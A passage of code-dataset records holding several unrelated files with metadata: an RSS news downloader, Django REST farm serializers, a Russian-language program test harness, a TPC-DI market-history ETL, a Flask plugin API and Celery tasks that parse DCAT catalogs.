link siti web...\\n\")\r\ndbcursor = dbconnection.cursor();\r\ndbcursor.execute(\"SELECT * FROM linkfeed\")\r\nelencositi = dbcursor.fetchall()\r\nprint(\"Elenco siti ottenuto\\n\")\r\ndbcursor.close()\r\ndbconnection.close()\r\n\r\n#Per ogni link nel feed avviene la connessione e il salvataggio dell'HTML\r\n#Risulta necessario lanciare un numero limitato di thread, circa 5 per volta\r\nprint(\"Raccolta notizie - avvio dei thread:\\n\")\r\nthreads = []\r\ncount = 0\r\nfor s in elencositi:\r\n\tthread = newsDownloader(s)\r\n\tthread.start()\r\n\tthreads.append(thread)\r\n\tcount = count + 1\r\n\tif count >= 5:\r\n\t\tprint(\"Avvio ciclo 5 thread\")\r\n\t\tfor t in threads:\r\n\t\t\tt.join()\r\n\t\tthreads = []\r\n\t\tcount = 0\r\n\r\n\r\nprint(\"---------- ESECUZIONE TERMINATA! ----------\")\r\n\r\n#Fine script", "sub_path": "Module1/module1_efficient version.py", "file_name": "module1_efficient version.py", "file_ext": "py", "file_size_in_byte": 6251, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "mysql.connector.connector.connect", "line_number": 32, "usage_type": "call"}, {"api_name": "mysql.connector.connector", "line_number": 32, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 32, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 34, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 34, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 46, "usage_type": "attribute"}, {"api_name": "threading.Thread.__init__", "line_number": 48, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 48, "usage_type": "attribute"}, {"api_name": "feedparser.parse", "line_number": 59, "usage_type": "call"}, {"api_name": "urllib.request.Request", "line_number": 69, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 72, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 75, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 87, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 87, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 98, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 98, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 104, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 104, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 110, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 110, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 116, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 116, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 131, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 131, "usage_type": "name"}, {"api_name": "mysql.connector.connector", "line_number": 142, "usage_type": "attribute"}, {"api_name": "mysql.connector", "line_number": 142, "usage_type": "name"}]} {"seq_id": "7491291", "text": "from farm.models import Farm, FarmImage\nfrom rest_framework import serializers\nfrom comments.models import Comment\nfrom comments.api.serializers import CommentSerializer\nfrom lands.models import Land\nfrom images.models import ImageGroup, Image\nfrom images.api.serializers import ImageGroupUrlSerializer\n\nclass FarmImageSerializer(serializers.ModelSerializer):\n # Create a custom method field, that list farms belong to current user\n # farm = UserFilteredPrimaryKeyRelatedField(queryset=Farm.objects, source='farm.name')\n\n class Meta:\n model = FarmImage\n fields = ('url', 'img', 'flags', 'is_delete', 'updated_date')\n\nclass FarmCommnetSerializer(serializers.ModelSerializer):\n\n url = serializers.CharField(source='get_api_url', read_only=True)\n\n class Meta:\n model = Comment\n fields = ('url',)\n\nclass FarmLandSerializer(serializers.ModelSerializer):\n url = serializers.CharField(source='get_api_url', read_only=True)\n class Meta:\n model = Land\n fields = ['url', ]\n\nclass FarmSerializer(serializers.ModelSerializer):\n owner = serializers.ReadOnlyField(source='owner.username')\n notice = serializers.HyperlinkedIdentityField(view_name='farm-notice', format='html')\n content = serializers.HyperlinkedIdentityField(view_name='farm-content', format='html')\n comments = serializers.SerializerMethodField()\n lands = serializers.SerializerMethodField()\n imgs = serializers.SerializerMethodField()\n\n class Meta:\n fields = ('url', 'id', 'name', 'owner', 'price', 'subject', 'addr', 'phone',\n 'is_delete', 'notice', 'content', 'comments', 'lands', 'imgs', 'home_img_url')\n\n model = Farm\n\n def get_comments(self, obj):\n c_qs = Comment.objects.filter_by_instance(obj)\n comments = FarmCommnetSerializer(c_qs, many=True).data\n return comments\n\n def get_lands(self, obj):\n lands_qs = Land.objects.filter(farm=obj.id)\n lands = FarmLandSerializer(lands_qs, many=True).data\n return lands\n\n def get_imgs(self, obj):\n img_grp_qs = ImageGroup.objects.filter_by_instance(obj)\n img_grps = ImageGroupUrlSerializer(img_grp_qs, many=True).data\n return img_grps\n", "sub_path": "web/farm/api/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 2220, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 9, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 9, "usage_type": "name"}, {"api_name": "farm.models.FarmImage", "line_number": 14, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 17, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 17, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 19, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 19, "usage_type": "name"}, {"api_name": "comments.models.Comment", "line_number": 22, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 25, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 25, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 26, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 26, "usage_type": "name"}, {"api_name": "lands.models.Land", "line_number": 28, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 31, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 31, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ReadOnlyField", "line_number": 32, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 32, "usage_type": "name"}, {"api_name": "rest_framework.serializers.HyperlinkedIdentityField", "line_number": 33, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 33, "usage_type": "name"}, {"api_name": "rest_framework.serializers.HyperlinkedIdentityField", "line_number": 34, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 34, "usage_type": "name"}, {"api_name": "comments.models", "line_number": 35, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 35, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 35, "usage_type": "name"}, {"api_name": "lands.models", "line_number": 36, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 36, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 36, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 37, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 37, "usage_type": "name"}, {"api_name": "farm.models.Farm", "line_number": 43, "usage_type": "name"}, {"api_name": "comments.models.Comment.objects.filter_by_instance", "line_number": 46, "usage_type": "call"}, {"api_name": "comments.models.Comment.objects", "line_number": 46, "usage_type": "attribute"}, {"api_name": "comments.models.Comment", "line_number": 46, "usage_type": "name"}, {"api_name": "comments.models", "line_number": 47, "usage_type": "name"}, {"api_name": "comments.models", "line_number": 48, "usage_type": "name"}, {"api_name": "lands.models.Land.objects.filter", "line_number": 51, "usage_type": "call"}, {"api_name": "lands.models.Land.objects", "line_number": 51, "usage_type": "attribute"}, {"api_name": "lands.models.Land", "line_number": 51, "usage_type": "name"}, {"api_name": "lands.models", "line_number": 52, "usage_type": "name"}, {"api_name": "lands.models", "line_number": 53, "usage_type": "name"}, {"api_name": "images.models.ImageGroup.objects.filter_by_instance", "line_number": 56, "usage_type": "call"}, {"api_name": "images.models.ImageGroup.objects", "line_number": 56, "usage_type": "attribute"}, {"api_name": "images.models.ImageGroup", "line_number": 56, "usage_type": "name"}, {"api_name": "images.api.serializers.ImageGroupUrlSerializer", "line_number": 57, "usage_type": "call"}]} {"seq_id": "35384923", "text": "import fcntl\nimport os.path\nimport os\nfrom pathlib import Path\nfrom signal import Signals # pylint: disable=no-name-in-module\nimport subprocess\nimport sys\nfrom queue import Queue, Empty\nfrom threading import Thread\nfrom tempfile import NamedTemporaryFile\n\nHR = \"-\" * 40\nSR = \"*\" * 120\n\ndef run(arguments, timeout=30, verb=\"Выполняем\", **kwargs):\n print(f\"{verb}: {' '.join(arguments)}\")\n try:\n result = subprocess.run(arguments, timeout=timeout, stdout=subprocess.PIPE, stderr=subprocess.PIPE, **kwargs)\n print(HR)\n except subprocess.TimeoutExpired as e:\n print(\"ОШИБКА: Время выполнения истекло\")\n print(f\"Вывод программы:\\n{HR}\\n{e.stdout}\\n{HR}\")\n if e.stderr:\n print(f\"{e.stderr}\\n{HR}\")\n raise\n print(\"\\n--- stdout\", HR)\n if isinstance(result.stdout, bytes):\n result.stdout = result.stdout.decode()\n sys.stdout.write(result.stdout)\n if isinstance(result.stderr, (bytes, str)):\n print(\"\\n--- stderr\", HR)\n if isinstance(result.stderr, str):\n print(f\"{result.stderr}\\n{HR}\")\n else:\n #sys.stdout.buffer.write(result.stderr)\n print(f\"\\n{HR}\")\n else:\n print(\"\\n\", HR)\n if result.returncode != 0:\n print(f\"Выполнение завершилось с кодом: {result.returncode}\")\n return result\n\nclass Executable:\n def __init__(self, *args):\n self.args = list(args)\n\n def run_test(self, name, arguments=[], inputs=[], output=False, input=None):\n return run_test(name, executable=self.args, arguments=arguments, inputs=inputs, output=output, input=input)\n def expect_failure(self, name, arguments=[], inputs=[], output=False, code=None, input=None):\n return expect_failure(name, executable=self.args, arguments=arguments, inputs=inputs, output=output, code=code, input=input)\n def expect_success(self, name, arguments=[], inputs=[], output=False, input=None):\n return expect_success(name, executable=self.args, arguments=arguments, inputs=inputs, output=output, input=input)\n\ndef run_test(name, executable, arguments=[], inputs=[], output=False, input=None):\n tempfiles = []\n run_arguments = list(executable)\n run_arguments += [str(arg) for arg in arguments]\n for i in inputs:\n tf = NamedTemporaryFile(\"wb\")\n tf.write(i.encode())\n tf.flush()\n tempfiles.append(tf)\n run_arguments.append(tf.name)\n\n if output:\n tf = NamedTemporaryFile(\"r\")\n tempfiles.append(tf)\n run_arguments.append(tf.name)\n \n print_arguments = list(executable)\n print_arguments += [str(arg) for arg in arguments]\n print_arguments += [f\"входной-файл-{i}\" for i, _ in enumerate(inputs)]\n if output:\n print_arguments.append(\"выходной-файл\")\n\n print(f\"\"\"{HR}\n=== Запуск теста: {name}. ===\nКомандная строка: |{' '.join(print_arguments)}|\n\"\"\")\n for n, i in enumerate(inputs):\n print(f\"\"\"входной-файл-{n}:\n{HR}\n{i}\n{HR}\n\"\"\")\n if input:\n print(f\"\"\"Стандартный ввод (первые 100 символов):\n{HR}\n{input[:100]}\n{HR}\n\"\"\")\n result = run(run_arguments, input=input)\n if output:\n try:\n tf = tempfiles[-1]\n tf.seek(0)\n result.output_file = tf.read(64*1024*1024)\n except Empty:\n result.output_file = None\n print(f\"\"\"В выходной файл записано:\n{HR}\n{result.output_file}\n{HR}\n\"\"\")\n return result\n\n\ndef prepare(name=None):\n if name and Path(name).exists():\n return Executable(name)\n if Path(\"./a.out\").exists():\n return Executable(\"./a.out\")\n if Path(\"./main\").exists():\n return Executable(\"./main\")\n\n print(\"Компиляция завершилась с ошибкой, файл ./a.out не найден\")\n return\n\n\ndef expect_failure(name, arguments=[], inputs=[], output=False, code=None, executable=[], input=None):\n result = run_test(name, executable=executable, arguments=arguments, inputs=inputs, output=output, input=input)\n if result.returncode == 0:\n print(f\"ОШИБКА {SR}\\nПрограмма завершилась успешно (с кодом 0), но должна была вернуть ненулевой код ошибки\")\n return False\n elif result.returncode < 0:\n print(f\"ОШИБКА {SR}\\nПрограмма упала с исключением {Signals(-result.returncode).name}\")\n return False\n elif code and result.returncode != code:\n print(f\"ОШИБКА {SR}\\nПрограмма завершилась с кодом ошибки {result.returncode}, а требовался код {code}\")\n return False\n elif result.returncode == 154:\n print(f\"ОШИБКА {SR}\\nПрограмма завершилась с зарезервированным кодом ошибки {result.returncode}. Ваша программа не должна возвращать этот код.\")\n return False\n else:\n print(f\"Программа завершилась с ненулевым кодом ошибки {result.returncode}, что и требовалось по условию теста.\")\n return result\n\ndef expect_success(name, arguments=[], inputs=[], output=False, executable=[], input=None):\n result = run_test(name, executable=executable, arguments=arguments, inputs=inputs, output=output, input=input)\n if result.returncode > 0:\n print(f\"ОШИБКА {SR}\\nПрограмма завершилась с кодом ошибки {result.returncode} ({result.returncode - 256}), но должна была завершиться с нулевым кодом\")\n return False\n if result.returncode < 0:\n print(f\"ОШИБКА {SR}\\nПрограмма упала с исключением {Signals(-result.returncode).name}\")\n return False\n print(\"Программа завершилась успешно\")\n return result\n", "sub_path": ".github/libtester.py", "file_name": "libtester.py", "file_ext": "py", "file_size_in_byte": 6113, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "subprocess.run", "line_number": 18, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 18, "usage_type": "attribute"}, {"api_name": "subprocess.TimeoutExpired", "line_number": 20, "usage_type": "attribute"}, {"api_name": "sys.stdout.write", "line_number": 29, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 29, "usage_type": "attribute"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 59, "usage_type": "call"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 66, "usage_type": "call"}, {"api_name": "queue.Empty", "line_number": 98, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 109, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 111, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 113, "usage_type": "call"}, {"api_name": "signal.Signals", "line_number": 126, "usage_type": "call"}, {"api_name": "signal.Signals", "line_number": 144, "usage_type": "call"}]} {"seq_id": "386913502", "text": "import logging\n\nimport pandas as pd\n\nfrom utils.utils import inc_data_folder_path, get_engine\n\ndaily_market_file_path = inc_data_folder_path + \"DailyMarket.txt\"\n\n\ndef load(conn):\n logging.info(\"Begin FactMarketHistory - Incremental Update\")\n cur = conn.cursor()\n \n # needs to execute incremental_setup.sql first\n df_ = pd.read_csv(daily_market_file_path, sep=\"|\", parse_dates={\"Date\": [\"DM_DATE\"]}, keep_date_col=True,\n names=[\"CDC_FLAG\",\"CDC_DSN\",\"DM_DATE\", \"DM_S_SYMB\", \"DM_CLOSE\", \"DM_HIGH\", \"DM_LOW\", \"DM_VOL\"])\n \n df_fact = pd.DataFrame(columns=[\"SK_SecurityID\", \"SK_CompanyID\", \"SK_DateID\", \"PERatio\", \"Yield\",\n \"SK_FiftyTwoWeekHighDate\", \"SK_FiftyTwoWeekLowDate\", \"ClosePrice\",\n \"DayHigh\", \"DayLow\", \"Volume\", \"BatchID\"])\n \n df_fact[\"ClosePrice\"] = df_[\"DM_CLOSE\"]\n df_fact[\"DayHigh\"] = df_[\"DM_HIGH\"]\n df_fact[\"DayLow\"] = df_[\"DM_LOW\"]\n df_fact[\"Volume\"] = df_[\"DM_VOL\"]\n df_fact[\"BatchID\"] = 2\n \n df_fact[\"Symbol\"] = df_[\"DM_S_SYMB\"] # value used by the trigger\n df_fact[\"Date\"] = df_[\"Date\"] # value used by the trigger\n df_fact[\"SK_DateID\"] = 0 # value set by the trigger\n df_fact[\"SK_FiftyTwoWeekLowDate\"] = 0 # value set by the trigger\n df_fact[\"SK_FiftyTwoWeekHighDate\"] = 0 # value set by the trigger\n df_fact[\"SK_SecurityID\"] = 0 # value set by the trigger\n df_fact[\"SK_CompanyID\"] = 0 # value set by the trigger\n df_fact[\"PERatio\"] = 0 # value set by the trigger\n df_fact[\"Yield\"] = 0 # value set by the trigger\n \n df_52 = get_52_weeks_data(df_)\n df_fact = pd.merge(df_fact, df_52, on=[\"Date\", \"Symbol\"])\n \n df_fact[\"quarter\"] = df_fact[\"Date\"].apply(lambda x: 1 + (x.month - 1) // 3)\n df_fact[\"year\"] = df_fact[\"Date\"].apply(lambda x: x.year)\n df_fact = df_fact.apply(get_previous_quarters, axis=1)\n df_fact.drop(\"quarter\", inplace=True, axis=1)\n df_fact.drop(\"year\", inplace=True, axis=1)\n \n logging.info(\"Incrementally updating into MySQL\")\n df_fact.to_sql(\"FactMarketHistory\", index=False, if_exists=\"append\", con=get_engine())\n \n logging.info(\"Dropping auxiliary columns\")\n cur.execute(\"DROP TRIGGER tpcdi.INC_FactMarketHistory;\")\n cur.execute(\"ALTER TABLE FactMarketHistory DROP COLUMN prev1_quarter;\")\n cur.execute(\"ALTER TABLE FactMarketHistory DROP COLUMN prev2_quarter;\")\n cur.execute(\"ALTER TABLE FactMarketHistory DROP COLUMN prev3_quarter;\")\n cur.execute(\"ALTER TABLE FactMarketHistory DROP COLUMN prev4_quarter;\")\n cur.execute(\"ALTER TABLE FactMarketHistory DROP COLUMN prev1_year;\")\n cur.execute(\"ALTER TABLE FactMarketHistory DROP COLUMN prev2_year;\")\n cur.execute(\"ALTER TABLE FactMarketHistory DROP COLUMN prev3_year;\")\n cur.execute(\"ALTER TABLE FactMarketHistory DROP COLUMN prev4_year;\")\n cur.execute(\"ALTER TABLE FactMarketHistory DROP COLUMN Date;\")\n cur.execute(\"ALTER TABLE FactMarketHistory DROP COLUMN Symbol;\")\n cur.execute(\"ALTER TABLE FactMarketHistory DROP COLUMN FiftyTwoWeekHigh;\")\n cur.execute(\"ALTER TABLE FactMarketHistory DROP COLUMN FiftyTwoWeekLow;\")\n \n conn.commit()\n\n\ndef get_52_weeks_data(df):\n df_grouped = df.groupby(\"DM_S_SYMB\").rolling('365D', on=\"Date\").agg({\"DM_HIGH\": \"max\", \"DM_LOW\": \"min\"})\n df_grouped = df_grouped.reset_index()\n return df_grouped.rename(columns={\"DM_S_SYMB\": \"Symbol\", \"DM_HIGH\": \"FiftyTwoWeekHigh\", \"DM_LOW\": \"FiftyTwoWeekLow\"})\n\n\ndef get_previous_quarters(row):\n year = row[\"year\"]\n prev_year = year - 1\n quarter = row[\"quarter\"]\n \n if quarter == 1:\n sequence = [4, prev_year, 3, prev_year, 2, prev_year, 1, prev_year]\n elif quarter == 2:\n sequence = [1, year, 4, prev_year, 3, prev_year, 2, prev_year]\n elif quarter == 3:\n sequence = [2, year, 1, year, 4, prev_year, 3, prev_year]\n elif quarter == 4:\n sequence = [3, year, 2, year, 1, year, 4, prev_year]\n else:\n sequence = 0 / 0\n \n row[\"prev1_quarter\"] = sequence[0]\n row[\"prev1_year\"] = sequence[1]\n row[\"prev2_quarter\"] = sequence[2]\n row[\"prev2_year\"] = sequence[3]\n row[\"prev3_quarter\"] = sequence[4]\n row[\"prev3_year\"] = sequence[5]\n row[\"prev4_quarter\"] = sequence[6]\n row[\"prev4_year\"] = sequence[7]\n \n return row", "sub_path": "dags/inc_update/market_history.py", "file_name": "market_history.py", "file_ext": "py", "file_size_in_byte": 4320, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "utils.utils.inc_data_folder_path", "line_number": 7, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 11, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 39, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 47, "usage_type": "call"}, {"api_name": "utils.utils.get_engine", "line_number": 48, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 50, "usage_type": "call"}]} {"seq_id": "230530858", "text": "import os\nfrom flask import (\n current_app,\n Blueprint,\n json,\n jsonify,\n make_response,\n request,\n send_from_directory\n)\n\napi_bp = Blueprint('api', __name__)\n\n\ndef plugins_build_dir(app):\n return app.config['PLUGINS_BUILD_DIR']\n\n\ndef plugins_json_file(app, version):\n \"\"\"Returns the file that contains json data\"\"\"\n return os.path.join(plugins_build_dir(app), version, \"plugins.json\")\n\n\ndef plugins_dir(app, version):\n \"\"\"Returns the directory which contains plugin files\"\"\"\n return os.path.join(plugins_build_dir(app), version)\n\n\ndef load_json_data(app, version):\n \"\"\"Load JSON Data\"\"\"\n key = 'plugins_json_data_%s' % version\n data = app.cache.get(key)\n if data is None:\n with open(plugins_json_file(app, version)) as fp:\n data = json.load(fp)['plugins']\n app.cache.set(key, data,\n timeout=app.config['PLUGINS_CACHE_TIMEOUT'])\n return data\n\n\ndef _get_plugin(app, version, pid=None):\n plugins = load_json_data(app, version)\n if pid:\n if pid in plugins:\n plugin = {'plugin': plugins[pid]}\n else:\n return not_found(404)\n else:\n # Show all the plugins if an id is not specified\n plugin = {'plugins': plugins}\n return make_response(jsonify(plugin), 200)\n\n\ndef _download_plugin(app, version, pid):\n plugins = load_json_data(current_app, version)\n if pid in plugins:\n return send_from_directory(plugins_dir(current_app, version), pid + \".zip\", as_attachment=True)\n else:\n return not_found(404)\n\n\ndef get_build_version(app, version):\n return app.config['PLUGIN_VERSIONS'].get(version)\n\n\ndef not_found(error):\n return make_response(jsonify({'error': 'Plugin not found.'}), 404)\n\n\ndef invalid_api_version(error):\n return make_response(jsonify({'error': 'Invalid API version'}), 404)\n\n\n@api_bp.route('//', methods=['GET'])\ndef api_root(version):\n \"\"\"\n Shows info about our API\n \"\"\"\n if version and get_build_version(current_app, version):\n return make_response(\n jsonify({'message': 'The two endpoints currently available for this api version'\n ' are /api/%s/plugins and /api/%s/download' % (version, version)}), 200)\n else:\n return invalid_api_version(404)\n\n\n@api_bp.route('//plugins/', methods=['GET'])\ndef get_plugin(version):\n \"\"\"\n Lists data of a plugin\n \"\"\"\n build_version = get_build_version(current_app, version)\n if build_version:\n pid = request.args.get('id')\n return _get_plugin(current_app, build_version, pid)\n else:\n return invalid_api_version(404)\n\n\n@api_bp.route('//download/', methods=['GET'])\ndef download_plugin(version):\n \"\"\"\n Serves files as a download attachment.\n\n Single files are served as is, multiple ones are zipped.\n \"\"\"\n build_version = get_build_version(current_app, version)\n if build_version:\n pid = request.args.get('id')\n if pid:\n return _download_plugin(current_app, build_version, pid)\n else:\n return make_response(\n jsonify({'error': 'Plugin id not specified.',\n 'message': 'Correct usage: /api/%s/download?id=' % version}), 400)\n else:\n return invalid_api_version(404)\n", "sub_path": "website/frontend/views/api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 3338, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Blueprint", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.json.load", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.json", "line_number": 35, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.current_app", "line_number": 55, "usage_type": "argument"}, {"api_name": "flask.send_from_directory", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.current_app", "line_number": 57, "usage_type": "argument"}, {"api_name": "flask.make_response", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 71, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 71, "usage_type": "call"}, {"api_name": "flask.current_app", "line_number": 79, "usage_type": "argument"}, {"api_name": "flask.make_response", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.current_app", "line_number": 92, "usage_type": "argument"}, {"api_name": "flask.request.args.get", "line_number": 94, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 94, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 94, "usage_type": "name"}, {"api_name": "flask.current_app", "line_number": 95, "usage_type": "argument"}, {"api_name": "flask.current_app", "line_number": 107, "usage_type": "argument"}, {"api_name": "flask.request.args.get", "line_number": 109, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 109, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 109, "usage_type": "name"}, {"api_name": "flask.current_app", "line_number": 111, "usage_type": "argument"}, {"api_name": "flask.make_response", "line_number": 113, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 114, "usage_type": "call"}]} {"seq_id": "324515631", "text": "\"\"\"Celery tasks for batch processing of endpoiint or DCAT catalog.\"\"\"\nimport logging\n\nimport rdflib\nimport redis\nimport rfc3987\nfrom celery import group\nfrom rdflib import Namespace\nfrom rdflib.namespace import RDF\n\nfrom tsa.celery import celery\nfrom tsa.endpoint import SparqlEndpointAnalyzer\nfrom tsa.extensions import redis_pool\nfrom tsa.tasks.analyze import analyze, process_endpoint\n\n\ndef _log_dataset_distribution(g, log, access, endpoint, red):\n dcat = Namespace('http://www.w3.org/ns/dcat#')\n accesses = frozenset(access + endpoint)\n pipe = red.pipeline()\n for ds in g.subjects(RDF.type, dcat.Dataset):\n pipe.sadd('dcatds', str(ds))\n key = f'dsdistr:{ds!s}'\n pipe.sadd('purgeable', 'dcatds', key)\n for dist in g.objects(ds, dcat.distribution):\n for accessURL in g.objects(dist, dcat.accessURL):\n if str(accessURL) in accesses:\n log.debug('Distribution {accessURL!s} from DCAT dataset {ds!s}')\n pipe.sadd(key, str(accessURL))\n pipe.execute()\n\n\n@celery.task\ndef inspect_catalog(key):\n \"\"\"Analyze DCAT datasets listed in the catalog.\"\"\"\n log = logging.getLogger(__name__)\n red = redis.Redis(connection_pool=redis_pool)\n\n log.debug('Parsing graph')\n try:\n g = rdflib.ConjunctiveGraph()\n g.parse(data=red.get(key), format='turtle')\n except rdflib.plugin.PluginException:\n log.debug('Failed to parse graph')\n return 0\n\n distributions = []\n endpoints = []\n dcat = Namespace('http://www.w3.org/ns/dcat#')\n for d in g.subjects(RDF.type, dcat.Distribution):\n for access in g.objects(d, dcat.accessURL):\n if rfc3987.match(str(access)):\n distributions.append(str(access))\n else:\n log.warn(f'{access!s} is not a valid access URL')\n for dataset in g.subjects(RDF.type, rdflib.URIRef('http://rdfs.org/ns/void#Dataset')):\n for dump in g.objects(dataset, rdflib.URIRef('http://rdfs.org/ns/void#dataDump')):\n if rfc3987.match(str(dump)):\n distributions.append(str(dump))\n else:\n log.warn(f'{dump!s} is not a valid dump URL')\n for endpoint in g.objects(dataset, rdflib.URIRef('http://rdfs.org/ns/void#sparqlEndpoint')):\n if rfc3987.match(str(endpoint)):\n endpoints.append(str(endpoint))\n else:\n log.warn(f'{endpoint!s} is not a valid endpoint URL')\n\n _log_dataset_distribution(g, log, distributions, endpoints, red)\n\n tasks = [analyze.si(a) for a in distributions]\n tasks.extend(process_endpoint.si(e) for e in endpoints)\n return group(tasks).apply_async()\n\n\n@celery.task\ndef inspect_endpoint(iri):\n \"\"\"Extract DCAT datasets from the given endpoint and schedule their analysis.\"\"\"\n inspector = SparqlEndpointAnalyzer()\n return group(inspect_catalog.si(key) for key in inspector.peek_endpoint(iri)).apply_async()\n", "sub_path": "tsa/tasks/batch.py", "file_name": "batch.py", "file_ext": "py", "file_size_in_byte": 2967, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "rdflib.Namespace", "line_number": 18, "usage_type": "call"}, {"api_name": "rdflib.namespace.RDF.type", "line_number": 21, "usage_type": "attribute"}, {"api_name": "rdflib.namespace.RDF", "line_number": 21, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 36, "usage_type": "call"}, {"api_name": "redis.Redis", "line_number": 37, "usage_type": "call"}, {"api_name": "tsa.extensions.redis_pool", "line_number": 37, "usage_type": "name"}, {"api_name": "rdflib.ConjunctiveGraph", "line_number": 41, "usage_type": "call"}, {"api_name": "rdflib.plugin", "line_number": 43, "usage_type": "attribute"}, {"api_name": "rdflib.Namespace", "line_number": 49, "usage_type": "call"}, {"api_name": "rdflib.namespace.RDF.type", "line_number": 50, "usage_type": "attribute"}, {"api_name": "rdflib.namespace.RDF", "line_number": 50, "usage_type": "name"}, {"api_name": "rfc3987.match", "line_number": 52, "usage_type": "call"}, {"api_name": "rdflib.namespace.RDF.type", "line_number": 56, "usage_type": "attribute"}, {"api_name": "rdflib.namespace.RDF", "line_number": 56, "usage_type": "name"}, {"api_name": "rdflib.URIRef", "line_number": 56, "usage_type": "call"}, {"api_name": "rdflib.URIRef", "line_number": 57, "usage_type": "call"}, {"api_name": "rfc3987.match", "line_number": 58, "usage_type": "call"}, {"api_name": "rdflib.URIRef", "line_number": 62, "usage_type": "call"}, {"api_name": "rfc3987.match", "line_number": 63, "usage_type": "call"}, {"api_name": "tsa.tasks.analyze.analyze.si", "line_number": 70, "usage_type": "call"}, {"api_name": "tsa.tasks.analyze.analyze", "line_number": 70, "usage_type": "name"}, {"api_name": "tsa.tasks.analyze.process_endpoint.si", "line_number": 71, "usage_type": "call"}, {"api_name": "tsa.tasks.analyze.process_endpoint", "line_number": 71, "usage_type": 